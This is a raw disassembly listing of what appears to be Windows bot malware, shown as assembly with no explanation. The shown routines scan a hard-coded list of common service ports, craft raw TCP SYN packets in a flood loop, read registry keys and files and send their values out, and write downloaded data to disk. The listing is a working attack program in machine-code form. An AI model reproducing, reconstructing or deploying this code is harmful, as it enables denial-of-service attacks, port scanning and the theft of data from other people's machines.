jz loc_413E3B
inc [ebp+var_4]
call dword_4F1364 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41B3F0
cmp ebx, eax
pop ecx
jbe loc_413C39
loc_413DC3: ; CODE XREF: sub_413B08+124j
push [ebp+var_C]
call dword_4E0934
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
push eax
imul esi, 41Ch
call sub_41B3F0
mov ecx, eax
mov eax, esi
shr eax, 0Ah
xor edx, edx
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44D0BC
push eax
call sub_41B740
add esp, 1Ch
loc_413E0C: ; CODE XREF: sub_413B08+39j
; sub_413B08+94j ...
cmp [ebp+arg_20C], edi
jnz short loc_413E34
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_413E34: ; CODE XREF: sub_413B08+30Aj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413E3B: ; CODE XREF: sub_413B08+289j
push [ebp+var_4]
push esi
call dword_4E083C
push eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44D030
push eax
call sub_41B740
add esp, 18h
jmp short loc_413E0C
sub_413B08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E60 proc near ; DATA XREF: sub_401CC1+5B18o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
call sub_41B3F0
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call sub_41B3F0
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4E08DC
push eax
call sub_413FFA
push eax
lea eax, [ebp+var_414]
push offset unk_44D120
push eax
call sub_41B740
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_413EF2
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_408EB9
add esp, 14h
loc_413EF2: ; CODE XREF: sub_413E60+70j
lea eax, [ebp+var_414]
push eax
call sub_41458A
push [ebp+var_10]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_413E60 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F11 proc near ; CODE XREF: sub_413FFA+191p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_413F3A
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4F1500 ; connect
jmp loc_413FF6
; ---------------------------------------------------------------------------
loc_413F3A: ; CODE XREF: sub_413F11+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call dword_4F14E4 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4E084C
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4E0888
test eax, eax
jnz short loc_413F9E
or eax, 0FFFFFFFFh
jmp short loc_413FF6
; ---------------------------------------------------------------------------
loc_413F9E: ; CODE XREF: sub_413F11+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_413FA9
loc_413FA5: ; CODE XREF: sub_413F11+B8j
; sub_413F11+DCj
mov eax, edi
jmp short loc_413FF6
; ---------------------------------------------------------------------------
loc_413FA9: ; CODE XREF: sub_413F11+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_435832 ; __WSAFDIsSet
test eax, eax
jnz short loc_413FCB
lea eax, [ebp+var_210]
push eax
push esi
call sub_435832 ; __WSAFDIsSet
test eax, eax
jz short loc_413FA5
loc_413FCB: ; CODE XREF: sub_413F11+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call dword_4F14CC ; getsockopt
cmp eax, edi
jz short loc_413FA5
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_413FF6: ; CODE XREF: sub_413F11+24j
; sub_413F11+8Bj ...
pop edi
pop esi
leave
retn
sub_413F11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413FFA proc near ; CODE XREF: sub_413E60+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], esi
call dword_4F14F4 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4E4108, eax
call dword_4E0880
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_10], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], ebx
loc_41413E: ; CODE XREF: sub_413FFA+1BEj
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, word ptr [ebp+eax+var_8C]
push eax
call dword_4E08A0
push ebx
push esi
push 2
mov [ebp+var_9A], ax
call dword_4E091C
lea ecx, [ebp+var_1C]
mov [ebp+var_C], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_413F11
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call dword_4E0934
cmp [ebp+var_8], ebx
jnz short loc_4141B0
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_4141B0: ; CODE XREF: sub_413FFA+1A8j
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_41413E
mov esi, offset dword_4E410C
push offset asc_44D14C ; " "
push esi
call sub_41B740
mov edi, dword_4F1364
pop ecx
pop ecx
call edi ; GetTickCount
mov [ebp+var_C], eax
lea eax, [ebp+var_10C]
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
loc_4141E3: ; CODE XREF: sub_413FFA+23Fj
call edi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_41423B
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, ebx
jz short loc_414214
push eax
push esi
push offset aSD_2 ; "%s%d "
push esi
mov [ebp+var_10], eax
call sub_41B740
add esp, 10h
jmp short loc_41422E
; ---------------------------------------------------------------------------
loc_414214: ; CODE XREF: sub_413FFA+203j
push 0FFFFh
push ebx
call sub_4165B5
pop ecx
pop ecx
push eax
call dword_4E08A0
movzx eax, ax
mov [ebp+var_10], eax
loc_41422E: ; CODE XREF: sub_413FFA+218j
inc [ebp+var_4]
add [ebp+var_8], 4
cmp [ebp+var_4], 1Ch
jl short loc_4141E3
loc_41423B: ; CODE XREF: sub_413FFA+1FAj
; sub_413FFA+46Bj
push 28h
push ebx
push offset byte_4E40A8
call sub_41B190
mov esi, 0FFFFh
mov byte_4E40A8, 45h
push esi
push 400h
mov byte_4E40B1, 6
mov byte_4E40A9, 8
call sub_4165B5
add esp, 14h
push eax
call dword_4E08A0
push 28h
mov word_4E40AC, ax
call dword_4E08A0
or byte_4E40B0, 0FFh
cmp dword_4E4098, ebx
mov word_4E40AA, ax
mov word_4E40AE, bx
jnz short loc_4142AC
push [ebp+arg_0]
call sub_414474
pop ecx
jmp short loc_4142B7
; ---------------------------------------------------------------------------
loc_4142AC: ; CODE XREF: sub_413FFA+2A5j
push offset dword_4E3A78
call dword_4E08DC
loc_4142B7: ; CODE XREF: sub_413FFA+2B0j
mov dword_4E40B4, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4E40B8, eax
mov byte_4E40C9, bl
call dword_4E08A0
push esi
push ebx
mov word_4E40CA, ax
call sub_4165B5
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_4165B5
add esp, 10h
add edi, eax
push edi
call dword_4E089C
mov dword_4E40C0, eax
mov al, byte_4E40C8
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4E40C8, al
mov ax, word ptr [ebp+var_10]
mov dword_4E40C4, ebx
mov word_4E40CE, bx
mov word_4E40BE, ax
mov dword_4E40E4, edi
mov byte_4E40E8, bl
mov byte_4E40E9, 6
call dword_4E08A0
mov word_4E40EA, ax
mov ax, word_4E40BE
mov word_4E40D0, 2
mov dword_4E40D4, edi
mov word_4E40D2, ax
mov [ebp+var_4], ebx
jmp short loc_41436D
; ---------------------------------------------------------------------------
loc_414368: ; CODE XREF: sub_413FFA+445j
mov esi, 0FFFFh
loc_41436D: ; CODE XREF: sub_413FFA+36Cj
cmp [ebp+var_4], ebx
jnz short loc_4143A1
push esi
push ebx
call sub_4165B5
pop ecx
pop ecx
push eax
call dword_4E08A0
mov word_4E40BC, ax
mov eax, dword_4E40B4
mov dword_4E40E0, eax
mov byte_4E40C9, 2
mov dword_4E40C4, ebx
jmp short loc_4143C0
; ---------------------------------------------------------------------------
loc_4143A1: ; CODE XREF: sub_413FFA+376j
push esi
push ebx
mov byte_4E40C9, 10h
call sub_4165B5
pop ecx
pop ecx
push eax
call dword_4E08A0
movzx eax, ax
mov dword_4E40C4, eax
loc_4143C0: ; CODE XREF: sub_413FFA+3A5j
inc word_4E40AC
inc dword_4E40C0
mov ax, word_4E40BE
push 5
pop ecx
mov esi, offset word_4E40BC
mov edi, offset dword_4E40EC
mov word_4E40B2, bx
mov word_4E40CC, bx
push 14h
rep movsd
mov esi, offset byte_4E40A8
mov word_4E40D2, ax
push esi
call sub_40A072
push 20h
push offset dword_4E40E0
mov word_4E40B2, ax
call sub_40A072
add esp, 10h
mov word_4E40CC, ax
push 10h
push offset word_4E40D0
push ebx
push 28h
push esi
push dword_4E4108
call dword_4E0900
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_414368
call dword_4F1364 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_41446A
push [ebp+arg_8]
call dword_4F1334 ; Sleep
jmp loc_41423B
; ---------------------------------------------------------------------------
loc_41446A: ; CODE XREF: sub_413FFA+460j
pop edi
pop esi
mov eax, offset dword_4E410C
pop ebx
leave
retn
sub_413FFA endp
; =============== S U B R O U T I N E =======================================
sub_414474 proc near ; CODE XREF: sub_413FFA+2AAp
arg_0 = dword ptr 4
push 0FFFEh
push 1
call sub_4165B5
pop ecx
pop ecx
mov ecx, [esp+arg_0]
shl eax, 10h
and ecx, 0FFFFh
or eax, ecx
retn
sub_414474 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414492 proc near ; CODE XREF: sub_401CC1+687Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_452A48
mov edi, 0B8h
loc_4144A6: ; CODE XREF: sub_414492+33j
cmp byte ptr [esi], 0
jz short loc_4144C9
push [ebp+arg_0]
push esi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_4144C9
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_4535C8
jl short loc_4144A6
jmp short loc_41450B
; ---------------------------------------------------------------------------
loc_4144C9: ; CODE XREF: sub_414492+17j
; sub_414492+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_452A48[esi]
push ebx
call sub_41B190
push 17h
push [ebp+arg_0]
push ebx
call sub_41B1F0
push 9Fh
lea eax, dword_452A60[esi]
push [ebp+arg_4]
push eax
call sub_41B1F0
add esp, 24h
inc dword_43C6A4
pop ebx
loc_41450B: ; CODE XREF: sub_414492+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_414492 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414512 proc near ; CODE XREF: sub_401CC1+2417p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_44D158
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
xor edi, edi
mov esi, offset dword_452A48
loc_41453C: ; CODE XREF: sub_414512+72j
cmp byte ptr [esi], 0
jz short loc_414577
lea eax, [esi+18h]
loc_414544: ; DATA XREF: .nsp0:00451FE0o
push eax
push esi
push edi
push offset dword_44D16C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41B910
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 2Ch
loc_414577: ; CODE XREF: sub_414512+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_4535C8
jl short loc_41453C
pop edi
pop esi
leave
retn
sub_414512 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41458A proc near ; CODE XREF: sub_40141B+381p
; sub_40141B+402p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_4F13F0 ; GetLocalTime
mov ebx, offset dword_4E8510
mov edi, 80h
mov esi, offset dword_4E4510
loc_4145AC: ; CODE XREF: sub_41458A+3Dj
cmp byte ptr [ebx], 0
jz short loc_4145C3
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41B1F0
add esp, 0Ch
loc_4145C3: ; CODE XREF: sub_41458A+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4145AC
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41B910
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_41458A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4145FE proc near ; CODE XREF: sub_4019E1+F7p
; sub_401CC1:loc_402260p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C6A0
lea eax, [ebp+var_80]
push eax
call sub_41458A
add esp, 14h
leave
retn
sub_4145FE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+14h], ebx
push esi
mov dword ptr [ebp-8], 80h
mov [ebp-4], ebx
jnz short loc_414659
push ebx
push dword ptr [ebp+10h]
push offset dword_44D1A4
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_408EB9
add esp, 14h
loc_414659: ; CODE XREF: .nsp0:00414640j
cmp [ebp+18h], ebx
jz short loc_414671
push dword ptr [ebp+18h]
call sub_41B3F0
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jz short loc_414671
mov [ebp-8], eax
loc_414671: ; CODE XREF: .nsp0:0041465Cj
; .nsp0:0041466Cj
mov [ebp+14h], ebx
mov esi, offset dword_4E4510
loc_414679: ; CODE XREF: .nsp0:004146C1j
mov eax, [ebp+14h]
cmp eax, [ebp-8]
jge short loc_4146C3
cmp [esi], bl
jz short loc_4146B2
cmp [ebp+18h], ebx
jz short loc_41469E
cmp [ebp-4], ebx
jnz short loc_41469E
push dword ptr [ebp+18h]
push esi
call sub_415E06
pop ecx
test eax, eax
pop ecx
jz short loc_4146B2
loc_41469E: ; CODE XREF: .nsp0:00414688j
; .nsp0:0041468Dj
push 1
push dword ptr [ebp+10h]
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_408EB9
add esp, 14h
loc_4146B2: ; CODE XREF: .nsp0:00414683j
; .nsp0:0041469Cj
inc dword ptr [ebp+14h]
add esi, 80h
cmp esi, offset dword_4E8510
jl short loc_414679
loc_4146C3: ; CODE XREF: .nsp0:0041467Fj
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4146C7 proc near ; CODE XREF: sub_401CC1+2311p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4E4510
xor ecx, ecx
loc_4146CE: ; CODE XREF: sub_4146C7+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4E8510
jl short loc_4146CE
cmp [esp+arg_C], ecx
jnz short loc_4146FC
push ecx
push [esp+4+arg_8]
push offset dword_44D1B0
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_408EB9
add esp, 14h
loc_4146FC: ; CODE XREF: sub_4146C7+19j
push offset dword_44D1C4
call sub_41458A
pop ecx
retn
sub_4146C7 endp
; ---------------------------------------------------------------------------
push esi
mov esi, offset dword_4E4510
loc_41470E: ; CODE XREF: .nsp0:0041472Fj
cmp byte ptr [esi], 0
jz short loc_414723
push dword ptr [esp+8]
push esi
call sub_415E06
pop ecx
test eax, eax
pop ecx
jnz short loc_414735
loc_414723: ; CODE XREF: .nsp0:00414711j
add esi, 80h
cmp esi, offset dword_4E8510
jl short loc_41470E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_414735: ; CODE XREF: .nsp0:00414721j
push 1
pop eax
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41473A proc near ; DATA XREF: sub_401CC1+23C1o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_41478D
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_44D1D8
push eax
push [ebp+var_11C]
call sub_408EB9
add esp, 14h
loc_41478D: ; CODE XREF: sub_41473A+33j
cmp [ebp+var_98], 0
jz short loc_4147AD
lea eax, [ebp+var_98]
push eax
call sub_41B3F0
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_4147AD
mov [ebp+var_8], eax
loc_4147AD: ; CODE XREF: sub_41473A+5Aj
; sub_41473A+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_4E4510
loc_4147B6: ; CODE XREF: sub_41473A+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_414810
cmp byte ptr [esi], 0
jz short loc_4147FF
cmp [ebp+var_98], 0
jz short loc_4147E5
cmp [ebp+var_4], 0
jnz short loc_4147E5
lea eax, [ebp+var_98]
push eax
push esi
call sub_415E06
pop ecx
test eax, eax
pop ecx
jz short loc_4147FF
loc_4147E5: ; CODE XREF: sub_41473A+90j
; sub_41473A+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_408EB9
add esp, 14h
loc_4147FF: ; CODE XREF: sub_41473A+87j
; sub_41473A+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_4E8510
jl short loc_4147B6
loc_414810: ; CODE XREF: sub_41473A+82j
lea eax, [ebp+var_31C]
push offset dword_44D1F4
push eax
call sub_41B740
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_41484A
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_408EB9
add esp, 14h
loc_41484A: ; CODE XREF: sub_41473A+EEj
lea eax, [ebp+var_31C]
push eax
call sub_41458A
push [ebp+var_18]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_41473A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414869 proc near ; CODE XREF: sub_401CC1+2125p
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_EC = byte ptr -0ECh
var_6C = byte ptr -6Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F0h
push edi
xor edi, edi
cmp off_44D214, edi
mov [ebp+var_8], 80h
jz loc_414A1A
push ebx
push esi
mov eax, offset off_44D214
mov esi, offset dword_44D220
loc_414894: ; CODE XREF: sub_414869+1A9j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push edi
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4E090C
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_EC]
push eax
push edi
push edi
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4E07B0
test eax, eax
jnz loc_414A00
mov eax, [esi]
cmp eax, edi
jz loc_4149C0
push eax
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_3F0]
push offset aSS_9 ; "%s\\%s"
push eax
call sub_41B740
lea eax, [ebp+var_3F0]
push offset aR_2 ; "r"
push eax
call sub_41B170
mov ebx, eax
add esp, 18h
cmp ebx, edi
jz loc_414A00
loc_41490B: ; CODE XREF: sub_414869+C9j
push ebx
lea eax, [ebp+var_6C]
push 64h
push eax
call sub_41BC90
add esp, 0Ch
test eax, eax
jz loc_4149B7
push dword ptr [esi+4]
lea eax, [ebp+var_6C]
push eax
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_41490B
push 3Dh
push dword ptr [esi+4]
call sub_41C400
pop ecx
test eax, eax
pop ecx
jz short loc_414977
lea eax, [ebp+var_6C]
push offset asc_44E4E8 ; "="
push eax
call sub_41C550
push offset asc_44E4EC ; "="
push edi
call sub_41C550
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_44E4F0
push eax
call sub_41B740
add esp, 20h
jmp short loc_414992
; ---------------------------------------------------------------------------
loc_414977: ; CODE XREF: sub_414869+D9j
lea eax, [ebp+var_6C]
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_44E508
push eax
call sub_41B740
add esp, 10h
loc_414992: ; CODE XREF: sub_414869+10Cj
push edi
lea eax, [ebp+var_2EC]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_2EC]
push eax
call sub_41458A
add esp, 18h
loc_4149B7: ; CODE XREF: sub_414869+B3j
push ebx
call sub_418D80
pop ecx
jmp short loc_414A00
; ---------------------------------------------------------------------------
loc_4149C0: ; CODE XREF: sub_414869+65j
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_44E520
push eax
call sub_41B740
push edi
lea eax, [ebp+var_2EC]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_2EC]
push eax
call sub_41458A
add esp, 28h
loc_414A00: ; CODE XREF: sub_414869+5Bj
; sub_414869+9Cj ...
push [ebp+var_4]
call dword_4E087C
add esi, 18h
cmp [esi-0Ch], edi
lea eax, [esi-0Ch]
jnz loc_414894
pop esi
pop ebx
loc_414A1A: ; CODE XREF: sub_414869+19j
pop edi
leave
retn
sub_414869 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A1D proc near ; DATA XREF: sub_401CC1+5A30o
; sub_401CC1+6151o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4E0854
call dword_4E07B4
cmp eax, esi
mov [ebp+var_18], eax
jz loc_414EA9
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_4F13A8 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_414AE4
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_44E538
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_414AC7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_408EB9
add esp, 14h
loc_414AC7: ; CODE XREF: sub_414A1D+88j
lea eax, [ebp+var_510]
push eax
call sub_41458A
push [ebp+var_48]
call sub_40AB19
pop ecx
pop ecx
push esi
